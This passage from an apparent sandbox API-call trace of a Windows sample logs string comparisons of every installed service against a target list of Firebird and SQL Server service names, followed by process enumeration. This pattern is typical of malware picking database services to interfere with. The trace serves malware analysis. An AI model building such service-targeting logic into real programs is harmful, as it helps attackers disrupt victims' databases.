lpString2="Audiosrv") returned 1 [0300.623] lstrlenW (lpString="BFE") returned 3 [0300.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0300.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0300.623] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0300.623] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0300.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0300.623] lstrlenW (lpString="BITS") returned 4 [0300.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0300.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0300.624] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0300.624] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0300.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0300.624] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0300.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0300.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0300.624] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0300.624] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0300.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0300.624] lstrlenW (lpString="CDPSvc") returned 6 [0300.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0300.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0300.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0300.624] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0300.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0300.624] lstrlenW (lpString="ClickToRunSvc") returned 13 [0300.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0300.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0300.624] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0300.624] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0300.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0300.624] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0300.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0300.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0300.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0300.624] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0300.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0300.624] lstrlenW (lpString="CryptSvc") returned 8 [0300.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0300.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0300.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0300.625] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0300.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0300.625] lstrlenW (lpString="DcomLaunch") returned 10 [0300.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0300.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0300.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0300.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0300.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0300.625] lstrlenW (lpString="DeviceAssociationService") returned 24 [0300.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0300.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0300.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0300.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0300.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0300.625] lstrlenW (lpString="Dhcp") returned 4 [0300.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0300.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0300.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0300.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0300.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0300.625] lstrlenW (lpString="Dnscache") returned 8 [0300.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0300.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0300.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0300.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0300.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0300.625] lstrlenW (lpString="DPS") returned 3 [0300.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0300.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0300.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0300.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0300.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0300.625] lstrlenW (lpString="DusmSvc") returned 7 [0300.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0300.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0300.626] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0300.626] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0300.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0300.626] lstrlenW (lpString="EventLog") returned 8 [0300.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0300.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0300.626] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0300.626] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0300.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0300.626] lstrlenW (lpString="EventSystem") returned 11 [0300.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0300.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0300.626] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0300.626] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0300.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0300.626] lstrlenW (lpString="FontCache") returned 9 [0300.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0300.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0300.626] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0300.626] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0300.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0300.626] lstrlenW (lpString="gpsvc") returned 5 [0300.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0300.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0300.626] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0300.626] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0300.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0300.626] lstrlenW (lpString="iphlpsvc") returned 8 [0300.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0300.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0300.626] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0300.627] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0300.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0300.627] lstrlenW (lpString="KeyIso") returned 6 [0300.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0300.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0300.627] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0300.627] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0300.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0300.627] lstrlenW (lpString="LanmanServer") returned 12 [0300.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0300.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0300.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0300.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0300.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0300.627] lstrlenW (lpString="LanmanWorkstation") returned 17 [0300.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0300.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0300.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0300.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0300.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0300.627] lstrlenW (lpString="lfsvc") returned 5 [0300.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0300.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0300.627] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0300.627] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0300.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0300.627] lstrlenW (lpString="lmhosts") returned 7 [0300.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0300.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0300.627] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0300.627] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0300.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0300.627] lstrlenW (lpString="LSM") returned 3 [0300.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0300.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0300.628] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0300.628] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0300.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0300.628] lstrlenW (lpString="MpsSvc") returned 6 [0300.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0300.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0300.628] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0300.628] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0300.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0300.628] lstrlenW (lpString="NcbService") returned 10 [0300.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0300.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0300.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0300.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0300.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0300.628] lstrlenW (lpString="netprofm") returned 8 [0300.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0300.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0300.628] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0300.628] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0300.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0300.628] lstrlenW (lpString="NgcSvc") returned 6 [0300.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0300.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0300.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0300.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0300.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0300.628] lstrlenW (lpString="NlaSvc") returned 6 [0300.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0300.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0300.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0300.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0300.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0300.628] lstrlenW (lpString="nsi") returned 3 [0300.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0300.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0300.629] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0300.629] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0300.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0300.629] lstrlenW (lpString="PcaSvc") returned 6 [0300.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0300.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0300.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0300.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0300.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0300.629] lstrlenW (lpString="PlugPlay") returned 8 [0300.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0300.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0300.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0300.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0300.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0300.629] lstrlenW (lpString="Power") returned 5 [0300.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0300.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0300.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0300.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0300.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0300.629] lstrlenW (lpString="ProfSvc") returned 7 [0300.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0300.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0300.629] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0300.629] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0300.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0300.629] lstrlenW (lpString="RpcEptMapper") returned 12 [0300.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0300.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0300.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0300.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0300.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0300.629] lstrlenW (lpString="RpcSs") returned 5 [0300.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0300.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0300.630] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0300.630] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0300.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0300.630] lstrlenW (lpString="SamSs") returned 5 [0300.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0300.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0300.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0300.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0300.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0300.630] lstrlenW (lpString="Schedule") returned 8 [0300.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0300.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0300.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0300.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0300.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0300.630] lstrlenW (lpString="SecurityHealthService") returned 21 [0300.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0300.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0300.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0300.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0300.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0300.630] lstrlenW (lpString="SENS") returned 4 [0300.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0300.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0300.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0300.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0300.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0300.630] lstrlenW (lpString="ShellHWDetection") returned 16 [0300.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0300.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0300.630] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0300.630] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0300.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0300.630] lstrlenW (lpString="Spooler") returned 7 [0300.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0300.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0300.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0300.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0300.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0300.631] lstrlenW (lpString="SSDPSRV") returned 7 [0300.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0300.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0300.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0300.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0300.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0300.631] lstrlenW (lpString="StateRepository") returned 15 [0300.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0300.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0300.631] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0300.631] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0300.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0300.631] lstrlenW (lpString="SysMain") returned 7 [0300.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0300.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0300.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0300.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0300.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0300.631] lstrlenW (lpString="SystemEventsBroker") returned 18 [0300.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0300.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0300.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0300.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0300.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10a8 [0300.636] Process32FirstW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.637] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0300.637] lstrlenW (lpString="System") returned 6 [0300.637] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0300.638] lstrlenW (lpString="smss.exe") returned 8 [0300.638] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.639] lstrlenW (lpString="csrss.exe") returned 9 [0300.639] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0300.639] lstrlenW (lpString="wininit.exe") returned 11 [0300.639] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.640] lstrlenW (lpString="csrss.exe") returned 9 [0300.640] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0300.641] lstrlenW (lpString="winlogon.exe") returned 12 [0300.641] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0300.641] lstrlenW (lpString="services.exe") returned 12 [0300.641] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0300.642] lstrlenW (lpString="lsass.exe") returned 9 [0300.642] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0300.643] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0300.643] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0300.643] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0300.643] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.644] lstrlenW (lpString="svchost.exe") returned 11 [0300.644] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, 